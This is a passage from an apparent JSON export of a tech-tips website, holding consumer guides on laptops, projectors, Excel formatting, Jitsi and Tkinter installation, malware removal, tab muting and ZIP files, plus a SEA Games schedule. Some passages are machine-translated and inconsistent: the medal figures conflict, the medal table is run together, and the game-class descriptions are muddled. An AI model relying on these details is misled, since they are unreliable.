8 compatible touch screen.\n  Sony Vaio Duo 11 is Sony's strategic product with Windows 8.\nSony today officially joined the Windows 8 trend in the domestic market with three new products of the Vaio series and are equipped with touch screens. Most impressive is the Vaio Duo 11 model with the Surf Slider sliding keyboard that quickly switches from a regular ultrabook to a tablet depending on the need. Not only that, this model also has a thickness of only 17.75 mm, weighing about 1.3 kg.\nThe product is equipped with an 11.6-inch touch screen (10-finger identification) with a Full HD resolution of 1,920 x 1,080 pixels. Support for the device, Sony also included a stylus with a built-in exclusive Active Clip software that allows users to crop selected images on the screen and save them right in the notes.\nVaio Duo 11 version sold in Vietnam market equipped with Intel Core i5-3317U processor speed of 1.7 GHz, 4 GB RAM, 128 GB SSD hard drive, graphics chip Intel HD Graphics. The device is quite fully port connected to VGA, USB 3.0, HDMI; LAN and SD card reader, MS Duo. Sony says its battery is about 4.5 hours.\nThe machine with genuine selling price is reported to be VND 29.99 million.\n  The Vaio T13 upgrades the touch screen and keeps it as light and slim as before.\nVaio T13 equipped with 13.3-inch screen with resolution of 1366 x 768 pixels, Intel Core i5-3317U processor speed of 1.7 GHz, 4 GB RAM, 128 GB hard drive, Intel HD graphics chip Graphics 4000. It weighs 1.66 kg, 19 mm thin, silver alloy case and battery for about 5.5 hours.\nThe product is sold at a reference price of 23.99 million VND.\n  Vaio E youthful styling also supports touch.\nMeanwhile Vaio E14P Series sold in Vietnam has 14 inch screen resolution of 1,600 x 900 pixels, Intel Core i5-3210M speed of 2.5 GHzm 4 ​​GB RAM; 750 GB HDD, AMD Radeon HD 7670M graphics card with 2 GB VRAM capacity. The product weighs 2.4 kg, is 3.2 cm thin and the battery is about 6 hours.\nThe reference price of the Vaio E14P configured as above is 23.99 million dong.\nPhotos of the new Sony Vaio touch trio at the launch ceremony\nSony Vaio Duo 11:       Sony Vaio E14P:       Sony Vaio T13:     ncG1vNJzZmismaXArq3KnmWcp51kwLC62GamrqxdpLNuwMernJ5lppa2sHnTqKycoF2hrrHAzqmqZqGeYsOqsdOnmKY%3D\n","link":"/post/sony-out-of-three-vaio-touch-laptops-in-vietnam/","section":"post","tags":null,"title":"Sony out of three Vaio touch laptops in Vietnam"},{"body":"The projector is a great device for enjoying movies or videos. With the advancement of technology, the projector has become more compact and efficient. You can't bring your TV or screen anywhere and watch a movie on a smartphone that can't deliver the best experience. So the best way is to use a mini projector. The old projectors were often heavy and required large space to operate, but now with the development technology it has become compact and lightweight. And with a large number of products in the market, choosing a suitable projector is a difficult task. Therefore, this article will introduce you to the list of the top 5 best mini projectors 2018.\n1. DBPOWER T22 - High-end mini projector Features and characteristics Brightness: 2400 Lumen Frame rate: 16: 9 Weight: 2.6 pounds Contrast ratio: 2000: 1 The DBPOWER T22 is an upgraded version of the T21. The product can be used to watch movies at home or outside. All you need is the source used to stream the movie to the projector. Use it on a smartphone, laptop or any other device for entertainment without problems.\n  It has an LED projector with a maximum brightness of 2400 lumens. With excellent brightness and 2000: 1 contrast ratio, images are projected very sharply. DBPOWER T22 can project on any screen size from 30 inches to 176 inches. In addition, this projector can also connect wirelessly. Other connectivity options include SD card, VGA port, HDMI port and USB. For better sound quality, you can use portable speakers.\nImage quality Good image quality at close to medium distances and video will lose sharpness while projecting at a larger screen. You can use existing movies, music, images and text mode to get the best results.\nAt just over $ 150, this mini projector will not disappoint you. The image quality is good and with a little adjustment, it will bring a great movie experience.\nAdvantages Compact design Good connectivity Good brightness Easy control N disadvantages The projector's speakers are not big enough 2. Ragu Z400 - Smart mini projector Features and characteristics Brightness: 1600 lumen Frame rate: 16:10 Weight: 3 pounds Contrast ratio: 1000: 1 This is a good, light and good output product. Images are projected with brilliant colors and good brightness. This projector is best used for family purposes.\n  The Ragu Z400 projector offers a maximum brightness of 1600 lumens. It has been designed with a neat and easy-to-control appearance. With a 1000: 1 contrast ratio and 16:10 frame rate, this projector will give you an experience like watching movies in theaters.\nImage quality The device supports 1920 x 1080 pixel input resolution and 800 x 480 output quality, this is the standard resolution. In the dark light environment, the image looks vivid. However, it cannot produce enough brightness in bright light conditions. For home use, Ragu z400 is a good choice.\nAdvantages Image quality is clear Compact Easy to operate Good connection Defect Sound Brightness 3. Tenker Q5 - Friendly pocket projector Features and characteristics Brightness: 1500 lumens Frame rate: 16: 9/4: 3 Weight: 1.98 pounds Contrast ratio: 1000: 1 The Tenker Q5 is a smart projector that is neatly designed and works well at home. Portable projector for bright images and is the ideal choice for watching movies and videos. Connect the projector to a phone or laptop and stream the video directly to the projector screen.\n  Users can set up this projector at home easily. In addition, with a compact design, you can take this projector anywhere and enjoy your favorite movies.\nImage quality Tenker Q5 supports full HD input resolution and original resolution of 800 x 480. Good video quality with saturated colors and sharp details. Although you can see pixels when looking near the screen, but with the right viewing distance, users will see the video clearly and without any problems. The Tenker Q5 product is priced at $ 69.99.\nAdvantages: Price Design Choose a wide connection Defect: Low resolution The sound is distorted 4. RIF6 Cube - Projector sized just by the palm of your hand Features and characteristics Brightness: 50 lumen Frame rate: 16: 9 Weight: 1.63 pounds Contrast: 1000: 1 This is one of the most compact and stylish projectors you can find on the market, it's compact enough to carry your backpack. The video quality is quite good and clear enough to enjoy a movie.\n  RIF6 Cube projectors have a maximum brightness of 50 lumens, although slightly low but still provide enough light. However to enjoy the media, you need to watch in the dark light environment.\nImage quality The original resolution is 854 x 480 pixels, it can project a video to a maximum size of 120 inches. And an impressive feature of RIF6 Cube is its high compatibility. If compact is your top priority, RIF6 Cube is the right choice, it costs $ 229.95.\nAdvantages: Compact design 120 inch screen Defect: Low brightness Low sound level 5. Elphas LED Movie Projector - Experience great movie watching at home Features and characteristics Brightness: 1200 lumen Frame rate: 16: 9 Weight: 1.98 pounds Contrast: 1000: 1 Elphas has been on the market for a long time. Elphas LED projectors create sharp and clear images. Its robust design and easy control make it a perfect entertainment companion for the family.\n  This device produces 1200 lumens of brightness, 1000: 1 contrast ratio and works well at home. You can connect it to a laptop or mobile phone via HDMI, VGA, AV. In addition, you can watch movies directly from a USB flash drive or SD memory card.\nImage quality It can project videos up to 130 inches, although the best quality is at 100 inches, the standard resolution is 800 x 480 pixels. You can buy Elphas LED projectors for $ 85. At this price, the product offers an excellent performance.\nAdvantages: Price Easy connection Attractive designs Defect Low quality Color accuracy is not good Factors to choose to buy mini projectors Mini projector helps you enjoy the movie with a cinema-like experience. There are many options available in the market, if you are planning to buy portable projectors these are things to consider.\nPurpose:\nThe products listed above work perfectly for home use but should not be used for business purposes. Brightness is measured in lumen and this value will determine whether you can see the vide clearly in certain lighting conditions. With low brightness, it is necessary to see in the dark to see a clearer picture.\nConnect ability:\nThis is an important factor when choosing to buy a projector. Most projectors support HDMI or VGA connectivity, but if you are planning to use a mobile phone for video streaming, wireless connectivity is the right choice.\nInput and output resolution:\nMost compact projectors have 850x 480 pixel output power. One thing to note here is that the projector supports full HD video input resolution but reduces quality while projecting it on the screen.\nWeight / Size / Design:\nFor basic home use, you won't want a device that is too heavy and difficult to carry. Should use the purpose of use to select the appropriate projector.\nPrice:\nThe product must prove its value by providing a performance commensurate with the price. Saying so does not mean that a cheap product will lack features. You can get a product at a lower price easily, thanks to the competitive equipment market.\nThe list above provides the best mini projectors available online. For movie and media enthusiasts, the above products are worth a try.\nSee more:\n8 best versatile printers 2017 Turn your phone into a 3D projector Instructions for connecting the projector to a computer, laptop ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqutc2iZKmqn5%2BypMDOq6pmamBmhQ%3D%3D\n","link":"/post/top-5-best-mini-projectors-2018/","section":"post","tags":null,"title":"Top 5 best mini projectors 2018"},{"body":"The Southeast Asian Games (also known as SEA Games or South East Asian Games) are annual sports events, held every two years with the participation of athletes from 11 countries in Southeast Asia. .\n2017 will be the year of the 29th SEA Games, a highly anticipated sports festival will begin to take place from August 19 to 31 , 2017, in Kuala Lumpur, Malaysia. This is the 6th time Malaysia has hosted. 2017 Sea games on the host side of Malaysia put the focus on further solidifying Southeast Asian countries through the important role of sports. The tiger symbol is also a typical animal of the Southeast Asian peninsula and is a Malaysian sports cyar symbol. Below will be the schedule and information surrounding the Seagame 29 that sports fans will be interested in.\n  The 29th SEA Games will take place from August 19 to August 31 in Malaysia with 38 exams, 405 content and 1,339 medals awarded.\nList of 38 sports competing at SEA Games 29:\nDiving, Swimming, Artistic Swimming, Water Sports, Archery, Athletics, Badminton, Basketball, Billiards \u0026amp; Snooker, Boxing, Cricket, Bicycle, Horse Racing, Fencing, Soccer, Golf, Gymnastics, Hockey, Ice Hockey, Skating, Judo, Karate, Bowling on Grass, Muay, Netball, Pencak Silat, Petanque, Rugby, Sailing, Shuttlecock, Shooting, Squash, Table Tennis, Taekwondo, Tennis, Bowling, Triathlon, Volleyball, Skateboarding, Weightlifting, Wushu.\nComplete SEA Games 29 schedule - 2017 SEA Games in Malaysia.\nContent Schedule of Competition Venue HC Opening Ceremony 19/08 National Stadium Jumping Bridge 26 - 30 August National Aquatic Center 13 Swimming August 21-26\nNational Aquatic Center 38 Art Swimming Center 17-20 / 08 National Aquatic Center 5 Freestyle 18/08 Water Sport Complex 2 Water Balls 15-20 / 08 National Aquatic Center, 2 16-22/8 Archery Synthetic Turf Field, 10 Athletics 19-26 / 08 National Stadium 45 Badminton 22-29 / 08 Axiata Arena 7 Basketball 20-26 / 08 MABA Stadium 2 Billiards \u0026amp; Snooker 22-27 / 08 KLCC Hall 4 7 Bowling 20-25 / 08 Sunway Pyramid 11 Boxing 20-24 / 08 MiTEC Hall 8 6 Cricket 17-29 / 08 Kinrara Oval 3 Cycling - BMX 26/08 National BMX Arena 2 Cycling - Road 21-24 / 08 Putrajaya \u0026amp; Nilai 5 Bicycle racing - Track 27-29 / 08 National Velodrome 13 Horse Racing - Dressage 22-24 / 08 3Q Equestrian Center 2 Horse Racing - Show Jumping 26-28 / 08 3Q Equestrian Center 2 Horse Racing - Endurance 20/08 Terengganu International Endurance Park 2 Racing horses - Polo 22-29 / 08 Equestrian Park Putrajaya 1 Fencing 21-23 / 08 MiTEC Hall 6 6 Football 14-29 / 08 S.Alam Std, Selayang Std, National Std, Uitm Std 2 Indoor soccer - Futsal 18-29 / 08 Panasonic Stadium 2 Golf 22-26 / 08 The Mines Resort \u0026amp; Golf Club 4 Gymnastics 20-23 / 08 MiTEC Hall 9 \u0026amp; 10 12 Aerobics 26-28 / 08 MiTEC Hall 9 \u0026amp; 10 8 Hockey - Field 21-29 / 08 National Hockey Stadium 2 Hockey - Indoor 21-26 / 08 MiTEC Hall 4 2 Ice Hockey 20-24 / 08 Empire City, Damansara Perdana 1 Figure skating 26-27 / 08 Empire City, Damansara Perdana 2 Ice Skating - Short Track Speed ​​Skating 29-30 / 8 Empire City, Damansara Perdana 6 Judo 26-27 / 08 KLCC Hall 5 6 Karate 22-24 / 08 KLCC Hall 1 16 Lawn Bowls 22-27 / 08 National Lawn Bowls Center 8 Muay 26-29 / 08 MiTEC Hall 8 5 Netball 14-20 / 08 Juara Stadium, Bukit Kiara 1 Pencak Silat 24-29 / 08 KLCC Hall 2 20 Pétanque 21-28 / 08 Arena Petanque KL 7 Rugby 7s 19-20 / 08 MBPJ Stadium, Kelana Jaya 2 Sailing 21-29 / 08 National Sailing Center 14 Cloud Bridge 16-29 / 08 Indoor Stadium Titiwangsa 12 Shooting 21-26 / 08 National Shooting Range Center 14 Squash 21-29 / 8 National Squash Center 9 Table Tennis 20 -26/08 MiTEC Hall 7 7 Taekwondo 26-29 / 08 KLCC Hall 1 16 Tennis 21-26 / 08 Tennis Complex, Jalan Duta 5 Triathlon 21/08 Water Sport Complex 2 Volleyball 21-27 / 08 MiTEC Hall 11 2 Waterski \u0026amp; Wakeboard 25-29 / 08 Water Sport Complex 11 Weightlifting 28-30 / 08 MiTEC Hall 3 5 Wushu 20-22 / 08 KLCC Hall 5 17 Closing August 30 National Stadium Total 404 medals Table of total Sea Games medal 29 (06:00 on August 26, 2017)\nNational Rating Gold and Silver Total 1 Malaysia 68 46 45 159 2 Vietnam 44 29 34 107 3Singapore3933391114 Thai Lan3550551405Indonesia2235451026Philippines152136727Myanmar6812268Cambodia10679Brunei027910Lao017811Dong Timor0000ncG1vNJzZmismaXArq3KnmWcp51kf3rAx2aqnpldnK6usdJmqpyglZnCrbGMmqWdZZ2asaK4jK2Ym6SV\n","link":"/post/29th-sea-games-schedule-and-medal-table/","section":"post","tags":null,"title":"29th SEA Games schedule and medal table"},{"body":"Outriders is a co-op immersive third-person shooter game developed by People Can Fly , published by Square Enix . Earlier this year, a trailer for Outriders was revealed and it brought real excitement to the gaming community.\nWhen first entering Outriders, players will be able to customize the look of their own Outrider character, choosing one of the four available Outriders characters. Each character will have its own characteristics that suit different gameplay. Therefore, you need to learn about Outriders game character classes to make the best choice for you.\n1. Outriders character - Devastator Devastator is a character built for players who want to be a tank, you can take a lot of damage while also doing a lot of close range damage. You will be the front line of the team that makes the enemy tremble when seen. You can make him a high damage fighter or invincible tanker.\n  - The ability of character Devastator\nGain 15% more maximum HP Armor increased by 30%. Every close-range kill heals you for 24% of your maximum HP. - Melee Skill: Deals damage and bleeding to all enemies in a small radius (cooldown 1 second). Sprinting before using a Skill will change the skill to a ground stab with a larger AOE, but they will also have a longer cooldown (2 seconds). However, the more you use it, the longer the cooldown will be.\n- Healing Mechanic: You will recover HP after destroying enemies\n2. Outriders Character - Pyromancer Just by reading this character's name, it is easy to guess that a Pyromancer is capable of manipulating fire, and can perform powerful AOE mid-range attacks. This class works best as the primary DPS (damage) of a party.\n  - The ability of the Pyromancer character\nGain 10% more anomalous power. The attack skill damages an enemy for 15 seconds, destroying an enemy with 24% of the player's maximum HP. - Melee Skill: Damages and deals Burns to all enemies in a small radius (CD 1 second). Sprinting before using Melee Skill will change the skill to a shot with a larger AOE, but will have a longer cooldown (2 seconds).\n- Healing Mechanic: If the enemy has been killed by your skill, you will restore HP, even if you are not the one to defeat them.\n3. Outriders character - Technomancer Technomancer class is inclined to support, the team will work better if this class is included. You use various utility items to damage, freeze enemies, and heal yourself or your teammates.\n  - Technomancer character abilities\n15% more damage to long-range weapons. Skill damage increases by 15%. Increases Weapon damage by 15%. - Melee Skill: Deals damage and Freezes to all enemies in a small radius (CD 1 second). Sprinting before use changes to a larger range attack, the longer the cooldown (2 seconds), the longer the cooldown is used.\n- Healing Mechanic: You will partially recover HP as damage dealt.\n4. Outriders character - Trickster Trickster may be the hardest character to play in Outriders, but it's also the coolest character. Trickster does great damage in close range and has a very fast attack speed, the strategy of using this class is to fight guerrillas, run and assassinate enemies.\n  - The ability of the Trickster character\nGain 5% more maximum HP. Active Shield reduces damage by 5%. Every kill an enemy at close range restores 20% of maximum HP, gaining 12% Active Shield. Melee Skill: Damages and slows all enemies in a small radius (CD 1 second). Sprinting before use will increase damage range, but cooldown longer (2 seconds).\nOutriders Square Enix ncG1vNJzZmismaXArq3KnmWcp51ksabAwKKjZqeWYsGpsYycn5qqkZjBpr6MnKOaq6OawG61zWaroZ1dnK6usYyorK2qmZmys78%3D\n","link":"/post/detail-of-the-character-classes-in-the-game-outriders/","section":"post","tags":null,"title":"Detail of the character classes in the game Outriders"},{"body":"Ready Player Me is a website to create 3D avatars online based on your face or any, and use in the virtual chat room Mozilla Hubs. Mozilla Hubs is Mozilla's service, creating virtual chat rooms online and interacting through VR glasses. Mozilla Hubs also provides a virtual character for users to choose, but is quite simple. With Ready Player Me, users have more options to create avatars according to their faces, as well as more options. The following article will guide you how to create 3D avatars on Ready Player Me.\nInstructions for creating 3D images on Ready Player Me Step 1:\nWe access the homepage of Ready Player Me by following the link below. At the first interface click Create Avatar to proceed.\nhttps://readyplayer.me/ Step 2:\nYou then select the gender to perform. In this interface, users press Take a photo to make a portrait selection.\n  To take a picture of your face directly, we allow the site to use the camera, then press the camera to take a picture. Or you can click pick file to select an existing image. Note that photos must be taken clearly, without glasses.\n  Step 3:\nWhen Ready Player Me finishes identifying the face, it will display the 3D avatar. Then we proceed to retouch the face, adding other details if desired. If finished editing, click the checkmark in the top right corner.\n  Step 4:\nNow we will see the link of the avatar and instructions for changing avatars on Mozilla Hubs. You copy the link and follow.\n  Step 5:\nAccess the Mozilla Hub virtual room by following the link below and click Create a room to create a room.\nhttps://hubs.mozilla.com If there is a VR headset, we connect to join the virtual room, if not, then chat by text message. In the room interface, click the 3 dash icon , select Set name \u0026amp; avatar\u0026gt; Browse avatars\u0026gt; Avatar GLB URL and paste the link of the Ready Player Me avatar.\u0026nbsp;\n  Finally click Accept to save the new avatar.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZK%2BhoqnCoriMbJtmm5iWwW6t1ZqrmqpdpLtuuc6zoKWkkWK1tq7S\n","link":"/post/how-to-create-a-virtual-3d-chat-avatar-on-mozilla-hubs/","section":"post","tags":null,"title":"How to create a virtual 3D chat avatar on Mozilla Hubs"},{"body":"The following article details how to format commonly used data in Excel.\n1. Steps to data formatting Step 1: Select the data to format -\u0026gt; Right-click -\u0026gt; Select Format Cells .\n  Step 2: A dialog box appears -\u0026gt; Choose the Number tab to choose the type of format.\n  2. Select the data type The data format is displayed in Category .\n  2.1. General format The default format (which may be numbers or symbols .) case you have not selected a default Excel format General .\n  2.2. Number format - Section Decimal places: the number of decimal places is displayed. You can make your own choice by clicking on the arrow.\n- Item Use 1000 Sparator (,): Use commas separating thousands. If so, please tick.\n- Negative Numbers: How to display numbers with negative values. There are 4 options as shown.\n  2.3. Currency Format: Format the currency type. Like the Number format, the only difference is that it allows adding currencies to the left of the value, for example $ .\n  2.4. Accounting format - Same as Currency format, only the currency unit is aligned with each other.\n  2.5. Date format Item Type: Select display type: Date-\u0026gt; month-\u0026gt; year or date and month display . Lots of options for you.\nItem Locale (location): you select the area to display the date.\nNote: When you select the date, month and year format if you enter the wrong format, the machine will still return to the correct format of that data column.\n  2.6. Time format Allow users to enter time in many different formats. You choose the time display format in the Type section .\n  2.7. Percentage format In percent format, select the number of decimal places shown in the Decimal Places section .\nWith this format, there is always a \"%\" sign after the number.\n  2.8. Fraction format Fraction format allows users to choose the type of format to display in the Type section . There are many ways to display:\n  2.9. Scientific format - Display numbers as exponents. For example:\n2.00E + 0.5 = 200,000\n2.05E + 0.5 = 205,000\n- Choose the number of digits that displays after the dot in Decimal Places .\nFor example, choose value 1 =\u0026gt; result 6.8E + 03\n  2.10. Text format Format text style. Note that this range cannot be calculated even if you see them as numbers.\n  2.11. Special format Special types of phone numbers.\nChoose the type of display in the Type section , there are 4 types of options.\n  For example: 4 types of phone number formats.\n  2.12. Custom format User-defined formats may be based on available formats. For example, based on the format \"m / d / yyyy\" may have the format \"Month m Day d Year yyy\" by entering the Type as shown.\n  After completing the import, you have the following result:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7qiwIydmK2ZXZ67brHXnJyl\n","link":"/post/how-to-format-data-in-excel/","section":"post","tags":null,"title":"How to format data in Excel"},{"body":"Jitsi Meet (https://jitsi.org/) is a free and open source video conferencing application available for use online or with desktop software.\nLike Google Meet and Zoom, you can easily create a Jitsi meeting in the browser after a few seconds without having to install additional software or extensions.\nJitsi Meet does not require an account to use any features such as:\nShare screen Group chat Collaborative document editing Integration with Google and Microsoft Calendar Integrate with other popular collaboration software including Slack and MatterMost There is also the Jitsi Meet app for Apple and Android mobile devices. Jitsi is a great option for quickly setting up a remote conference.\nInstall Jitsi Meet on Ubuntu Server 1. Connect the server via SSH with root privileges\n2. Install Jitsi repository key (Jitsi repo) with the command:\nwget -qO - https://download.jitsi.org/jitsi-key.gpg.key | sudo apt-key add -  3. Create a source file for the new Jitsi repo - sources.list.d - with the command:\nsudo sh -c \"echo 'deb https://download.jitsi.org stable/' \u0026gt; /etc/apt/sources.list.d/jitsi-stable.list\"  4. Install apt-transport-https to access packages with SSL (HTTPS) connection:\napt-get install apt-transport-https  5. Updating package list for Ubuntu server:\nsudo apt-get -y update  6. Install the full Jitsi Meet toolkit:\nsudo apt-get -y install jitsi-meet  7. When prompted, enter the hostname or domain name intended for Jitsi URL.\n8. Choose to use your own self-signed SSL certificate (Let's Encrypt) or SSL\nCreate a meeting 1. After installing Jitsi Meet, visit Jitsi URL to create video conference\n Access Jitsi URL 2. In the upper right corner, select the Settings icon .\n3. Here, you can configure the camera, microphone, display name, Gravatar and language settings\n4. Select OK to save changes\n5. Add a meeting name and select GO to create a Jitsi meeting.\n Here, you can navigate all settings in the meeting Here, you can navigate all settings in the meeting:\nShare screen Hands up Open the text Activate mic and camera Invite people Change call quality Record to Dropbox Share YouTube videos Open the shared Etherpad document ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnJoqusoV2isqbAjKilZq2Sqru1wYysnKuulac%3D\n","link":"/post/how-to-install-and-use-jitsi-meet-on-ubuntu-server/","section":"post","tags":null,"title":"How to install and use Jitsi Meet on Ubuntu server"},{"body":"Tkinter (Tk) is a Python default GUI and comes with the Python installation on Linux, Mac, and Windows. Since Tk comes with most Python installations, you don't generally need to install it yourself. Since Python 2 and Python 3 vary so...\nMethod 1of 3:\nInstalling on macOS  Go to https://www.activestate.com/products/activetcl/tcl-tk-modules. Active State provides the community with free downloads.\n  Download the free community edition of ActiveTcl 8.6. You may be prompted to create a free account to download. You'll just need to provide your email and create a password to continue.\n  Run the installer. You'll need to unpack the file from the download folder before running it. Just drag and drop the application into the Applications folder. When you're done, you'll have an application called 'Wish 8.6' inside the Utilities folder of your Applications folder.\n  Launch Wish 8.6. You'll see 2 windows open. One is titled 'Console' and the other is titled 'Wish.' You can type commands in 'Console.'\n  Type % info patchlevel and press ⏎ Return. You should see something like '8.6.9.' This shows the currently installed version.\n Method 2of 3:\nInstalling on Windows  Go to https://www.activestate.com/products/activetcl/tcl-tk-modules. Active State provides the community with free downloads, but it also sells programming tools to companies.\n  Download the free community edition of ActiveTcl 8.6. You may be prompted to create a free account to download. You'll just need to provide your email and create a password to continue.\n  Run the installer. You'll normally find it in your Downloads folder. When you're done, you'll have a TCL install in C:TCL if you didn't change the default location.\n  Open Command Prompt. You can do this by searching 'Cmd' in the Start Menu's search bar.\n  Run Wish. The command to start it depends on where you installed Wish. For example, if you used the default location when you downloaded ActiveTcl from the site, type % C:Tclbinwish86. Two windows will open. One is titled 'Console' and the other is titled 'Wish.'   Type % info patchlevel and press ↵ Enter. You should see something like '8.6.9,\" which is the current installed and running version.\n Method 3of 3:\nInstalling on Linux  Go to https://www.activestate.com/products/activetcl/tcl-tk-modules/. Active State provides the community with free downloads, but it also sells programming tools to companies.\n  Download the free community edition of ActiveTcl 8.6. You may be prompted to create a free account to download. You'll just need to provide your email and create a password to continue.\n  Run the installer. You'll need to unpack the file from the download folder before running it. Just drag and drop the application into the Applications folder.\n  Press Ctrl+Alt+T to open a Terminal window.\n  Type % /opt/ActiveTcl-8.5/bin/wish8.6 to run Wish. A window will pop up titled 'Wish 8.6.'\n  Type % info patchlevel and press ↵ Enter. This is to check the version of Wish you are running.[1]\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6Shnqmysw%3D%3D\n","link":"/post/how-to-install-tkinter/","section":"post","tags":null,"title":"How to Install Tkinter"},{"body":"WannaCry has become an \"obsession\" for computer systems worldwide, spreading malicious code quickly to computers in just a few short hours. A recent malware has a similar spread pattern as WannaCry, taking advantage of the MS17-010 vulnerability to spread to many computers on the LAN.\nThese malicious computers will be deleted Vietnamese keyboards like Vietkey, Unikey and even Zalo. So how to remove virus delete Unikey, Vietkey, please refer to the instructions below.\nRemove root malware (malware) on Windows 10 computers How to use Malwarebytes Anti-Malware Home to find and remove spyware on your computer What is pastejacking? How to protect your computer from Pastejacking? Instructions to block malicious code delete Vietkey, Unikey, Zalo 1. Install Kaspersky TDSSKiller software Download Kaspersky TDSSKiller software This is a tool that helps detect and remove malicious programs, viruses or malware that infiltrate user computers. After installing Kaspersky TDSSKiller according to the link above, click on the Start Scan button to scan all data on the computer.\n  When the software detects that the malicious code is detected, click Continue to remove the malicious code.\n  Next, click Reboot Compute r to restart the computer and complete the malware removal process.\n   2. Update Windows and MS17-010 vulnerabilities First you need to download patch updates from Windows for all system versions. Updating the patch from Microsoft will help the system fix errors related to this vulnerability. Besides, you need to close port 445 on Windows.\nMicrosoft released an emergency patch to prevent ransomware from attacking Next, the user proceeds to update Windows to get a new version, fix the errors that exist in the old version, especially the MS17-010 error to prevent malicious code from deleting Vietkey, Unikey, and Zalo intrusion on the computer.\n  3. Limit clicking on strange files and links Absolutely do not click on strange links, strange files from the address you do not know well. The files attached to an unknown email also have a lot of potential for sticking malicious code and viruses.\nWith Zalo you can not click on strange files shared from people who do not know. Or, if sent from a friend, ask them exactly and the file name sent is correct.\nUse antivirus software, anti-malware, computer malware, turn on Windows Defender on Windows 10 to protect the system.\nAbove are some measures to help you prevent malicious code manually delete Vietkey, Unikey, Zalo on the computer. Regularly scan and test your computer using security software to reduce the risk of infection with dangerous malware.\nSee more:\nHow to find Antivirus \u0026amp; Mobile Security spyware 5 good habits help improve online security How to secure your accounts with U2F security key? Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOZobluwsirrKxlkarBsLnAraCcmZyhxm6wxKWcrZ1dqruqt8SyZK%2Bhlam4psWMs5ilp12ku27Ax55knKedpcK1sdE%3D\n","link":"/post/how-to-kill-virus-automatically-delete-unikey-vietkey-zalo-on-the-computer/","section":"post","tags":null,"title":"How to kill virus automatically delete Unikey, Vietkey, Zalo on the computer"},{"body":"You want to mute the default website when visiting. It is very simple when all browsers now have utility tools to help you do that. Let's find out more with TipsMake.com through this article!\n  How to turn off Tab sound automatically on Cốc Cốc browser Step 1 : Click on the Coc Coc icon in the left corner of the browser, select Settings .\n  Step 2 : In the Privacy and security section , select Content settings .\n  Step 3 : Continue to select Audio .\n  Step 4 : Here you select Add in the Mute section.\n  Step 5 : Then enter the website address you want to mute and click Add .\n  How to turn off the Auto Tab sound on Chrome browser Step 1 :\n(1) Click on the 3-dot icon in the right corner of the browser.\n(2) Select Settings.\n  Step 2 : Scroll down to select Advanced.\n  Step 3 : In Privacy and security section , select Site Settings .\n  Step 4 : Continue to select Sound .\n  Step 5 : Here will display the site you are mute.\n  (1) Click on the 3-dot icon to modify the option with the page you muted.\n(2) Or click Add in Mute to add the website address you want to mute.\nThen enter the website address you want to mute and select Add .\n  How to turn off sound Tab automatically on FireFox browser Step 1 : Select the FireFox tool icon, then select Add-ons .\nOr you can press the key combination Ctrl + Shift + A .\n  Step 2 : Search for Mute Links.\n  Step 3 : Select the first utility as shown.\n  Step 4: Then click \" Add to FireFox \" to add the utility to FireFox.\n  Step 5: Continue to select Add.\n  Step 6 : Then you return to the interface of FireFox, press Ctrl + Shift + A to open Add-ons .\n(1) Select Extensions .\n(2) Then select Options of MuteLinks utility .\n  Step 7 : Next, scroll down to Blacklist sites -\u0026gt; Add the website addresses you want to mute -\u0026gt; Click the \"+\" sign to finish.\n  Above is a guide on how to mute and sound Tab automatically when using browsers of Coc Coc, Chrome, FireFox. Hope the article brings a lot of useful for you. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWlqbJusMismJuklWLAsMHNnWStmZJirrbAzqaYraGTlrmtxYyopWabmKe8rrGMm6mor6Oav26vzpxknKeTYrOqvsSfprE%3D\n","link":"/post/how-to-mute-disable-sound-tab-automatically-on-chrome-browser-coc-coc-firefox/","section":"post","tags":null,"title":"How to mute, disable sound Tab automatically on Chrome browser, Coc Coc, Firefox"},{"body":"This wikiHow teaches you how to open and extract a ZIP folder on your computer, smartphone, or tablet. ZIP folders are used to compress files into smaller versions, making them easier to store and transport. In order to view and use a ZIP...\nMethod 2of 4:\nOn Mac  Go to the ZIP folder. Open the location in which the ZIP folder that you want to open is located.\n  Move the ZIP folder if necessary. The ZIP folder's contents will automatically extract to the folder in which the ZIP folder is located. To copy the ZIP folder to a different location, do the following: Click once the ZIP folder to select it. Click Edit at the top of the screen. Click Copy in the drop-down menu. Go to the folder in which you want to extract the folder. Click Edit, then click Paste in the drop-down menu.   Double-click the ZIP folder. Doing so will prompt the ZIP folder to begin extracting into a regular folder in your current location.\n  Wait for the extracted folder to open. Once the ZIP folder finishes extracting, the regular folder to which it extracted will open to display the extracted files.\n Method 3of 4:\nOn iPhone  Download the Unzip app. This app, which allows you to extract and view ZIP folders' compressed files, is free in the App Store: Open your iPhone's  App Store. Tap Search. Tap the search bar at the top of the screen. Type in unzip, then tap Search. Tap GET to the right of the \"Unzip - zip file opener\" heading. Enter your Touch ID, Face ID, or Apple ID password when prompted.   Find your ZIP folder. Open the app or location in which your ZIP folder is stored. This step will vary, but common locations for ZIP folders on an iPhone include the following: Email — Open your email app (e.g., Gmail or Mail), select the email in which the ZIP folder is stored, and scroll down if necessary to view the ZIP folder's name. Files — Tap the  Files app icon, tap Browse, tap the location in which the ZIP folder is located (you may have to navigate through a few different folders).   Tap the ZIP folder. Doing so will open the ZIP folder's preview.\n  Tap the \"Share\"   icon. It's usually in the bottom-right or top-right corner of the screen. This will bring up a menu at the bottom of the screen.   Scroll right and tap Copy to Unzip. You'll find this in the menu's top row of apps. Doing so opens the Unzip app with your ZIP folder in it.\n  Tap your ZIP folder's name. You should see it in the middle of Unzip. This will automatically extract the ZIP folder's contents to a regular folder of the same name. Unfortunately, Unzip doesn't allow you to view the ZIP folder's files without extracting them.   Tap the unzipped folder. It's a yellow item with the same name as your ZIP folder. Doing so opens the folder to display your ZIP folder's formerly compressed files.\n Method 4of 4:\nOn Android  Download the ZIP folder if necessary. If the ZIP folder isn't already on your Android, you should be able to download it by going to its location and tapping its download link. This will place the ZIP folder in your Android's \"Download\" folder. If the ZIP folder is in Google Drive, 